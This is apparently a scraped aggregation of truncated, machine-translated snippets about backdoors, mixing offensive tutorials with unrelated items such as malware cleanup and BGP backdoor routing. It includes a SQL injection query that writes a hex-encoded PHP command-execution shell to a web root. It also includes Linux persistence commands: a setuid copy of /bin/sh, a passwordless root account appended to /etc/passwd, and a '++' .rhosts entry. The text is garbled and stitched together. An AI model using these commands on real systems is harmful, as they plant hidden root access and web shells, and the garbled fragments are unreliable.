backdoor malware

0x00 Preface Today we'll discuss writing a backdoor based on the PHP extension library. Typically, most intruders leave a custom code block back door in the script. Of course, these things can easily be found through static or dynamic analysis of the source code. The benefits of leveraging the PHP extension library are obvious: 1 difficult to find bypass disable_functions option has the ability to control all code access code execution API But we

PHP-based applications face a variety of attacks: XSS: Cross-site scripting is a vulnerable point for PHP Web applications. Attackers can use it to steal user information. You can configure Apache, or write more secure PHP code (verify all user input) to protect against XSS attacks SQL injection: This is the vulnerable point of the database layer in PHP applications. The precautionary approach is ibid. A common approach is to use mysql_real_escape_string () to escape a parameter and then mak

How to generate a backdoor Trojan using Mysql statements: SELECT * FROM 'vbb _ strikes 'WHERE1unionselect2, 3, metadata: inetpubwwwrootcmd. php Mysql injection or MySQL statement in phpmyadmin How to generate a backdoor Trojan using Mysql statements: SELECT * FROM `vbb_strikes` WHERE 1 union select2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes i

After a successful test, you usually want to keep the privilege longer. The job of leaving the back door is very important, usually the backdoor is laid out including but not limited to database permissions, Web permissions, System user permissions, and so on. This article on the public back door hidden some ideas to do science.AD:0x00 PrefaceAfter a successful test, you usually want to keep the privilege longer. The job of leaving the back door is ve

handles invoke the SetServiceStatus function with the Service_accept_shutdow control code to receive the Nservice_control_shutdown control code. 3. Service Configuration Program The service configuration program can change or query the current configuration information for the service. Before invoking the service configuration function, you must obtain a handle to the service object, which we can, of course, by invoking the Openscmanager,openservice or CreateService function. Create, Delete Ser

Jindao Ke I don't know if this shell was given to me by a friend, but I can't remember it. This file encryption has no special features, but its method of leaving a backdoor is very interesting and unique. Let's take a look at this shell.FirstNeedless to say about decryption. It is the reverse encryption method of 13th.Function ShiSanFun (ShiSanObjstr) ShiSanObjstr = Replace (ShiSanObjstr, "comment ","""") For ShiSanI = 1 To Len (ShiSanObjstr) If Mid

Author: flashsky (original) Author Email: flashsky@xfocus.org Site: www.xfocus.net Statement:The author has no intention of implementing a trojan. The author is not a Trojan developer, but provides a method of combining buffer overflow attacks with Trojans/backdoors,A simple prototype is used to verify the feasibility of this approach, and we can see many features and advantages of this implementation method. Security researchers are also invited to discuss this trojan development technology.Gi

Brief introduction Windows NT system Backdoor to implement self-booting, there are many ways, such as the registry self-boot , image hijacking technology ,svchost self-booting and the introduction of this section of the Service self-initiated methods, The service self-priming is less likely to be discovered than the three other types of startup methods needed to modify the registry. Examples of C + + codefilename:serviceautorundemo.cpp//

After a successful test, you usually want to keep the privilege longer. The job of leaving the back door is very important, usually the backdoor is laid out including but not limited to database permissions, Web permissions, System user permissions, and so on. This article on the public back door hidden some ideas to do science. AD: 0x00 Preface After a successful test, you usually want to keep the privilege longer. The job of leaving the back door

Adore-ng is a kernel-level backdoor in linux, and adore-ng is an excellent LKMrootkit. adore-ng is currently 0.54 in the latest version and can be used in the 2.4-2.6 kernel, and the stability is very good. Next we will demonstrate its powerful functions step by step. log on to the target machine as the root user and download adore-ng to the local device. Adore-ng is a kernel-level backdoor in linux, and ad

Hello everyone, I wonder if you have used WebAdmin 2.x? Well, that's the backdoor in the ASP. Net environment. That's my immature work. If there's anything that doesn't work well, I 'd like to bear it with me. Oh, today, let's try again and tell you something about WebAdmin.Hello everyone, I wonder if you have used WebAdmin 2.x? Well, that's the backdoor in the ASP. Net environment. That's my immature work.

1. setuid# Cp/bin/sh/tmp/. sh# Chmod u + s/tmp/. shAdding suid to shell is simple but easy to find 2. echo "hack: 0: 0: // bin/csh">/etc/passwdThat is, add an account with the id 0 (root) to the system without a password.But the Administrator will soon find out! 3. echo "++">/. rhostsIf the system runs port 512,513, you canAdd a file named hack to The. rhosts file. log on to rlogin without a password! 4. Add a "wiz" command to modify the sendmail. cf file;Then telnet www.xxx.com 25 and then wiz

Beep. sys/Trojan. ntrootkit.1192, msplugplay 1005.sys/ backdoor. pigeon.13201, etc. 2 Original endurer2008-06-25 1st (Continued 1)Modify the computer date, and then download drweb cureit! Scan.At the same time, download bat_do and fileinfo to extract file information, package and backup, and delete files in a delayed manner.Then download the rising Kaka Security Assistant to clean up the malicious program startup project. Appendix 1: malicious file in

By ShiDao #! /Usr/bin/perl-w # Findshell v1.0 = code taken/modified from traps.darkmindz.com # Usage:./findshell. pl Use strict; Use File: Find; My $ sens = shift | 10; My $ folder = shift | './'; Find (\ backdoor, "$ folder "); Sub backdoor { If (/\. (php | txt )/)){ Open (my $ IN, "my @ file =; # Maybe edevil stuffs My $ score = grep (/function_exists \ (| phpinfo \ (| safe _? Mode | shell_exec \ (| pop

The AOSP-based free Android derivative edition Replicant developer found recently that there are suspicious Backdoor programs in Samsung's Galaxy series Mobile Phone firmware, allowing remote control of the system I/O through the modem. To put it simply, in addition to the application processors running General programs and user interaction, the smartphone also has a communication processor dedicated to the operations of the communication module. Alth

The SVCHOST. EXE process is used to clear the maximum backdoor of a Trojan.(From http://hi.baidu.com/reyman/blog/item/0fd9815124e1ca19377abed9.html)To clear the Trojan. Svchost.exe is an important file in the NT core system and is indispensable for Windows 2000/XP. The svchost process provides many system services, such as Logical Disk Manager and Remote Procedure Call (RPC) DHCP Client, automatic updates, Background Intelligent Transfer Service, CO

Topology experiment diagram: 650) this. width = 650; "src =" 51cto.com/uploads/allianz 111103/134944bq-0.jpg "title =" BGP backdoor routing "height =" 407 "width =" 606 "/> what is BGP backdoor routing? What is its function? Let's take a look at the brief Network Configuration: R1 S0/0: ip add 12.1.1.1 255.255.255.0 S0/1: ip add 13.1.1.1 255.255.255.0 L0: ip add 1.1.1.1 255.255.255.0 Router bgp 100 Bgp rout

Use the linux backdoor loader program written in perl-general Linux technology-Linux programming and kernel information. The following is a detailed description. Print "++ linux Backdoor tool ++ \ n "; Print "usage instructions, there are three modes: rushroot, fakebackdoor, and rushport. rushroot adds an account to passwd, and the user name is root, the password is null. n fakebackdoor is bound to a shell

: This article mainly introduces the simple and concealed backdoor Trojan code. if you are interested in the PHP Tutorial, refer to it. This article will introduce a very short and concealed backdoor Trojan, so that you can avoid Trojans when detecting programs. The file content is as follows: Many annotators are inserted in the code, which is difficult to detect if the server detection program is not

will get the root user permission easily. This method is almost the most popular. However, many systems clear data in the/tmp directory every few hours or every startup. Other systems do not allow suid programs in the/tmp directory. Of course, you can modify or clear these limits by yourself (because you are already the root user and have the permission to modify/var/spool/cron/CrontabS/root and/etc/fstab files ). The following is the C source program for placing the suid shell program in the/t